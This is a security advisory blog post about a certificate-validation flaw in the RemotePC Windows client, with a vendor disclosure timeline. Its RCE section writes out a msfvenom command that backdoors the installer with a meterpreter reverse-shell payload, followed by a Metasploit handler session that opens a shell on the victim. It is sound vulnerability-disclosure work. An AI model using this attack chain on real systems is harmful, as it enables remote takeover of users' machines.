Remote Command Execution on RemotePC for Windows

Submitted by quentin on Fri, 05/08/2020 - 10:38

Introduction

During an audit we executed in 2019, we had to test a deployment where a third party company had to remotely connect to special purpose computers to perform maintenance. At the time, they had chosen a software called RemotePC to remotely login into these special purpose computers rather than relying on RDP. RemotePC is a a remote desktop software that lets a support agent remotely connect to a computer and take control of keyboard, mouse, and screen. It's quite similar to TeamViewer.

Transport security fell into the scope of this specific audit so we covered all communication channels established by RemotePC clients. Turns out RemotePC Windows client does not properly validate SSL certificates, allowing a man-in-the-middle attacker to:

  • capture credentials when user logs in with remotepc account
  • observe the remotely accessed desktop, inject keystrokes and mouse events
  • hijack the auto-update mechanism in order to get the RemotePC client to execute an arbitrary executable, leading to remote command execution

All versions prior to 7.6.26-28/04/20 are vulnerable. We strongly recommend anyone using RemotePC to update to the latest version available at https://www.remotepc.com/download.htm

Testing RemotePC Client SSL/TLS

We checked if the client is resilient to man-in-the-middle attacks by intercepting traffic going to remotepc.com hosts and redirecting it to a running instance of qsslcaudit. The excerpt below is representative of all outgoing connections established by the RemotePC client. Any certificate will be accepted, regardless of the host being accessed (www1.remotepc.com, web1.remotepc.com, version.remotepc.com, desktop.remotepc.com, broker.remotepc.com, ...).

sudo qsslcaudit --user-cert /home/quentin/certs/untrusted5.gremwell.com.pem --user-key /home/quentin/certs/untrusted5.gremwell.com.key --server https://broker13.remotepc.com -l 192.168.1.29 -p 443

preparing selected tests...
    skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate
    skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

SSL library used: OpenSSL 1.0.2i  22 Sep 2016

running test #1: certificate trust test with user-supplied certificate
listening on 192.168.1.29:443
connection from: 192.168.1.13:50519
SSL connection established
received data: GET /proxy/remotehosts HTTP/1.1
User-Agent: websocket-sharp/1.0
Host: broker13.remotepc.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: zvRgQ97fyTccE5daHsvmqQ==
Sec-WebSocket-Version: 13


disconnected
report:
test failed, client accepted fake certificate, data was intercepted
test finished


running test #2: certificate trust test with self-signed certificate for user-supplied common name
listening on 192.168.1.29:443
connection from: 192.168.1.13:50520
SSL connection established
received data: GET /proxy/remotehosts HTTP/1.1
User-Agent: websocket-sharp/1.0
Host: broker13.remotepc.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: zqzl1xxph4Ff7VqcQ7FU2g==
Sec-WebSocket-Version: 13


disconnected
report:
test failed, client accepted fake certificate, data was intercepted
test finished


running test #3: certificate trust test with self-signed certificate for www.example.com
listening on 192.168.1.29:443
connection from: 192.168.1.13:50521
SSL connection established
received data: GET /proxy/remotehosts HTTP/1.1
User-Agent: websocket-sharp/1.0
Host: broker13.remotepc.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: yz8c8xsrLCgQ8VWSpbybbg==
Sec-WebSocket-Version: 13


disconnected
report:
test failed, client accepted fake certificate, data was intercepted
test finished


running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate
listening on 192.168.1.29:443
connection from: 192.168.1.13:50523
SSL connection established
received data: GET /proxy/remotehosts HTTP/1.1
User-Agent: websocket-sharp/1.0
Host: broker13.remotepc.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: W46qIet5+wJvv+C6VDETDA==
Sec-WebSocket-Version: 13


disconnected
report:
test failed, client accepted fake certificate, data was intercepted
test finished


running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate
listening on 192.168.1.29:443
connection from: 192.168.1.13:50524
SSL connection established
received data: GET /proxy/remotehosts HTTP/1.1
User-Agent: websocket-sharp/1.0
Host: broker13.remotepc.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: ztV0ldUHwmAmfKFgsWKdcA==
Sec-WebSocket-Version: 13


disconnected
report:
test failed, client accepted fake certificate, data was intercepted
test finished

tests results summary table:
+----+------------------------------------+------------+-----------------------------+
| ## |             Test Name              |   Result   |           Comment           |
+----+------------------------------------+------------+-----------------------------+
|  1 | custom certificate trust           |   FAILED   | mitm possible               |
|  2 | self-signed certificate for target |   FAILED   | mitm possible               |
|    |  domain trust                      |            |                             |
|  3 | self-signed certificate for invali |   FAILED   | mitm possible               |
|    | d domain trust                     |            |                             |
|  4 | custom certificate for target doma |   FAILED   | mitm possible               |
|    | in trust                           |            |                             |
|  5 | custom certificate for invalid dom |   FAILED   | mitm possible               |
|    | ain trust                          |            |                             |
+----+------------------------------------+------------+-----------------------------+
most likely all connections were established by the same client, some collected details:
source host: 192.168.1.13
protocol: TLSv1.2
accepted ciphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA256:TLS_RSA_WITH_AES_128_CBC_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_DHE_DSS_WITH_AES_256_CBC_SHA256:TLS_DHE_DSS_WITH_AES_128_CBC_SHA256:TLS_DHE_DSS_WITH_AES_256_CBC_SHA:TLS_DHE_DSS_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_3DES_EDE_CBC_SHA:TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_RC4_128_MD5
SNI: broker13.remotepc.com

qsslcaudit version: 0.4.0

Turning Unsafe Update into RCE

To fully demonstrate the impact, we used the update process which is also vulnerable to man-in-the-middle attacks.

When the RemotePC service starts (the service is set to auto-start on boot), the following request is sent to www.remotepc.com:

GET /rpcnew/getOSVersion?os=win-new HTTP/1.1
Host: www.remotepc.com
Connection: close

The server answers with the latest available version of RemotePC:

HTTP/1.1 200
Server: nginx
Date: Tue, 13 Aug 2019 13:53:37 GMT
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 57
Connection: close
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY
X-FRAME-OPTIONS: SAMEORIGIN
Set-Cookie: JSESSIONID=F94CB3FAB5D5852E6EC4F306BBCB4B02.tomcat9; Path=/rpcnew; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Access-Control-Allow-Credentials: true
Strict-Transport-Security: max-age=15768000

{releaseDate=2019-06-01 00:08:30.0, versionNumber=7.6.12}

By intercepting the response and modifying the "versionNumber" value, we can make the following popup show up:

HTTP/1.1 200
Server: nginx
Date: Tue, 13 Aug 2019 13:53:37 GMT
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 56
Connection: close
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY
X-FRAME-OPTIONS: SAMEORIGIN
Set-Cookie: JSESSIONID=F94CB3FAB5D5852E6EC4F306BBCB4B02.tomcat9; Path=/rpcnew; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Access-Control-Allow-Credentials: true
Strict-Transport-Security: max-age=15768000

{releaseDate=2019-08-05 00:08:30.0, versionNumber=7.7.3}

update

When the user clicks on “here”, the application downloads the latest version from desktop.remotepc.com:

GET /downloads/RemotePC.exe HTTP/1.1
Host: desktop.remotepc.com
Connection: close

We therefore downloaded the legitimate version and backdoored it with Metasploit's meterpreter:

./msfvenom -a x86 --platform windows -x /tmp/downloads/RemotePC.exe -k
-p windows/meterpreter/reverse_tcp lhost=192.168.1.29 lport=4444 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o RemotePCbd.exe
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai chosen with final size 422
Payload size: 422 bytes
Final size of exe file: 400896 bytes
Saved as: RemotePCbd.exe

We copied it to a rogue server, acting as the man-in-the-middle attacker:

mv RemotePCbd.exe /tmp/downloads/RemotePC.exe

When we serve the malicious executable while intercepting the RemotePC client communications, we obtain a reverse shell on the victim's computer:

./msfconsole -q
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set LHOST 192.168.1.29
LHOST => 192.168.1.29
msf5 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.29:4444
[*] Sending stage (179779 bytes) to 192.168.1.13
[*] Meterpreter session 3 opened (192.168.1.29:4444 -> 192.168.1.13:50610) at 2019-08-13 16:11:12 +0200
msf5 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : WIN7TARGET
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

Snooping on Remote Desktop

We did not investigate how to inject arbitrary keystrokes and mouse events within the established session, but we are pretty confident it can be done with little reverse engineering effort. Observing remotely accessed desktop can be done by carving MPEG frames out of the decapsulated stream.

Conclusion

As explained in the introduction, all versions prior to 7.6.26-28/04/20 are vulnerable. We strongly recommend anyone using RemotePC to update to the latest version available at https://www.remotepc.com/download.htm

Watch out for the exact release date because RemotePC published different releases with the same version number. For example, version 7.6.26 was release 6 times:

  • 7.6.26 04/28/2020
  • 7.6.26 04/22/2020
  • 7.6.26 04/15/2020
  • 7.6.26 04/08/2020
  • 7.6.26 04/03/2020
  • 7.6.26 03/30/2020

We also recommend you not to trust any release note published by Remote PC :)

release_note

Coordinated Disclosure Timeline

  • 02/09/2019: Escalated to the vendor via support ticket.
  • 05/02/2020: Nothing happened for 5 months. We re-notify vendor, this time enforcing 90 days disclosure policy.
  • 06/02/2020: Checked latest version (7.6.23), still affected by vulnerability
  • 10/02/2020: RemotePC support says "We have forwarded this to our back-end technical team for further analysis. We will contact you with an update as soon as we have one."
  • 19/02/2020: RemotePC support says "Our team is working on this. We will keep you posted after we get an update.""
  • 20/02/2020: RemotePC says "Our security team is reviewing the points and we will update soon."
  • 17/04/2020: RemotePC states that they fixed the issue in latest release (7.6.26-15/04/20). Turns out it's not.
  • 22/04/2020: RemotePC states that they fixed the issue in latest release (7.6.26-22/04/20). Turns out it's not.
  • 04/05/2020: RemotePC states that they fixed the issue in latest release (7.6.26-28/04/20). Turns out it is !
  • 05/05/2020: End of 90 days.
  • 06/05/2020: Advisory release.

Contacts

+32 (0) 2 215 53 58

Gremwell BVBA
Sint-Katherinastraat 24
1742 Ternat
Belgium
VAT: BE 0821.897.133.